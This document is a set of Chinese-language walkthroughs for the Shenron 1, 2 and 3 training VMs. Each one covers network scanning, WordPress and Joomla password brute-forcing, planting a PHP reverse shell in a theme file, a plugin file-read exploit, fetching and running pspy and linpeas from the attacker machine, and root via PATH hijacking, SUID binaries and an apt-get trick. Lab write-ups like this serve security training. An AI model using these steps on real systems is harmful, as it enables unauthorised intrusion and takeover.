Shenron 3

Shenron:3

一、基本信息

名称:shenron:3

发布日期:2021.4.16

作者:Shubham mandloi

系列:shenron

推特:@shubhammandloi

二、靶机简介

Flags:

root:/root/root.txt

难度:简单

三、文件信息

文件名:shenron-3.ova

文件大小:1.3GB

下载地址:

MD5: 2C70DA66904D9820BF065D2EACB08419

SHA1: 8FB172649FFB6F44F2C81D8468B3B609D8E37E19

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机shenron3和攻击机kali2021在VirtualBox下设置为桥接模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.3.134:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.3.134/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放80端口,访问主页查看源码,没有太多线索:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.3.137 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现目录基本与wordpress有关:

1
gobuster dir -u http://192.168.3.137/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

Wordpress漏洞利用

1.先把解析写入host,然后访问主页,发现是wordpress搭建的页面,可以用wpscan尝试寻找下漏洞:

1
vim /etc/hosts

image-

image-

1
wpscan --url http://192.168.3.137 --plugins-detection aggressive

image-

2.没有直接的漏洞发现,访问后台登录页面,发现存在admin用户,我们可以直接使用wpscan对后台登录页爆破(需要rockyou.txt字典):

image-

1
wpscan --url http://shenron --passwords rockyou.txt --usernames admin

image-

Wordpress后台登录,写入webshell

1.使用账号和密码登录wordpress后台,可以在Appearance-Editor-404.php页写入webshell:

image-

2.修改kali自带的webshell,/usr/share/webshells/php/php-reverse-shell.php,覆盖404.php,update file,kali开启对应端口监听,通过访问不存在页触发webshell:

image-

image-

image-

image-

初步提权

1.查看/var/www/html目录下文件,在wp-config.php中能发现wordpress用户及数据库密码,但是进入数据库后并没有什么额外发现:

image-

2.尝试提权到shenron,发现登录密码不是Wordpress@123,而是之前爆出的iloverockyou:

image-

root提权

1.在/home/shenron目录下,我们查看文件权限,发现network的属主和属组都是root:

image-

2.利用pspy64s工具,我们查看network运行后的调用,发现回调用netstat,则我们可以新建一个netstat文件,进行提权操作:

1
2
3
4
5
python3 -m http.server 8001,kali开启http服务
wget http://192.168.3.134:8001/pspy64s,shenron获取pspy64s工具
chmod +x pspy64s
./network
./pspy64s

image-

image-

1
2
3
4
5
6
cd /tmp
echo "/bin/bash -p" > netstat
chmod +x netstat
export PATH=/tmp:$PATH
cd ~
./network

image-

3.在/root目录下发现flag,即root.txt:

image-

Shenron 2

Shenron:2

一、基本信息

名称:shenron:2

发布日期:2021.4.5

作者:Shubham mandloi

系列:shenron

推特:@shubhammandloi

二、靶机简介

Flags:

root:/root/root.txt

难度:简单

三、文件信息

文件名:shenron-2.ova

文件大小:3.7GB

下载地址:

MD5: 2883845FF2E1E122E1B1E75CF9A4B4E1

SHA1: E66BDA7AB264D1FEA2103801BB422731F34F0599

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机shenron2和攻击机kali2021在VirtualBox下设置为桥接模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.3.134:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.3.134/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放22,80及8080端口,访问主页查看源码,没有太多线索:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.3.136 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,没有发现太多值得关注的目录:

1
gobuster dir -u http://192.168.3.136/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

Wordpress漏洞利用

1.先把解析写入host,然后访问192.168.3.136:8080,发现是wordpress搭建的页面,可以用wpscan尝试寻找下漏洞:

1
vim /etc/hosts

image-

image-

1
wpscan --url http://shenron:8080 --api-token $(cat /opt/wpscan-api) --enumerate

image-

2.发现有Site Editor的漏洞,我们可以看一下如何利用:

1
searchsploit Site Editor 1.1.1

image-

1
curl http://shenron:8080/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd,得到有两个用户和密码hash

image-

SSH密码爆破,初步提权

1.用hydra进行jenny爆破,得到密码登录SSH:

image-

image-

2.在jenny用户下,查看suid,可以发现/usr/bin/Execute,查看文件(需要导入本地查看,不然是elf乱码):

1
find / -type f -perm -u=s 2>/dev/null

image-

image-

3.我们可以知道这个文件的作用是将/bin/bash复制到/mnt/bash下,并给予shenron用户权限,那么我们可以利用这个文件:

1
2
Execute
/mnt/bash -p

image-

root提权

1.查看.pass文件,我们能发现一串类似base编码的字符串,利用base32解密发现是shenron用户登录的密码:

image-

2.登录shenron后,查看权限,发现可以直接提权到root:

image-

3.在/root目录下,可以找到flag,即root.txt:

image-

Shenron 1

Shenron:1

一、基本信息

名称:shenron:1

发布日期:2020.12.15

作者:Shubham mandloi

系列:shenron

推特:@shubhammandloi

二、靶机简介

Flags:

root:/root/root.txt

难度:中等

三、文件信息

文件名:shenron-1.ova

文件大小:1.3GB

下载地址:

MD5: 3D9F0F620846BC15F4591E7AC56C04B2

SHA1: 4E1D33E2338ADA4CA1C093CD67725850A033BAAD

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机shenron1和攻击机kali2021在VirtualBox下设置为桥接模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放22,80端口,访问主页还是apache2的初始页:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.113 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现/joomla和/test两个值得关注的目录,可以进行访问:

1
gobuster dir -u http://192.168.56.113/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

寻找密码,登录joomla后台

1.访问192.168.56.113/test,发现有password文件,查看password源码,能够发现admin用户的密码:

image-

image-

2.可以用admin用户登录joomla管理后台:

1
gobuster dir -u http://192.168.56.113/joomla -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,寻找后台

image-

image-

上传webshell

1.修改kali自带的webshell,/usr/share/webshells/php/php-reverse-shell.php,同时开启kali端口监听:

image-

2.在joomla后台管理页Templates-Templates-Protostar Details and Files-error.php内写入webshell内容后保存:

image-

3.访问不存在页面,触发webshell,再使用python构建交互式shell:

image-

image-

SSH免密登录,逐步提权

1.在/var/www/html/joomla目录下,我们从configuration.php文件中可以发现jenny用户及其密码,可用作登录:

image-

image-

2.登录jenny用户后,我们尝试使用ssh免密登录:

1
cat ~/.ssh/id_rsa.pub,首先在kali上查看自己的ssh密钥并复制下来,没有的话执行ssh-keygen,回车默认

image-

1
2
3
cd ~
cd .ssh
echo __public key__ >> authorized_keys,在jenny用户进入/.ssh目录,写入kali复制的密钥

image-

3.接着我们进行执行权限查看,发现shenron用户可以使用复制命令,则刚好可以把jenny现在有的ssh密钥复制过去,免密登录shenron:

1
sudo -l

image-

1
2
cp /home/jenny/.ssh/authorized_keys /tmp/
sudo -u shenron cp /tmp/authorized_keys /home/shenron/.ssh/

image-

root提权

1.在/var/opt目录下,我们能发现password.txt,应该是shenron用户的密码:

1
2
3
4
5
Python3 -m http.server 8001,在kali开放http服务
cd /tmp
wget http://192.168.56.102:8001/linpeas.sh,使用linpeas.sh工具扫描
chmod +x linpeas.sh
./linpeas.sh | tee output

image-

2.在shenron用户基础上,再查看权限,发现所有用户都可以使用apt,则用apt进行提权(详见https://gtfobins.github.io/gtfobins/apt-get/):

1
2
3
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt install -c $TF sl

image-

3.在root用户/root目录下,可以查看flag,即root.txt:

image-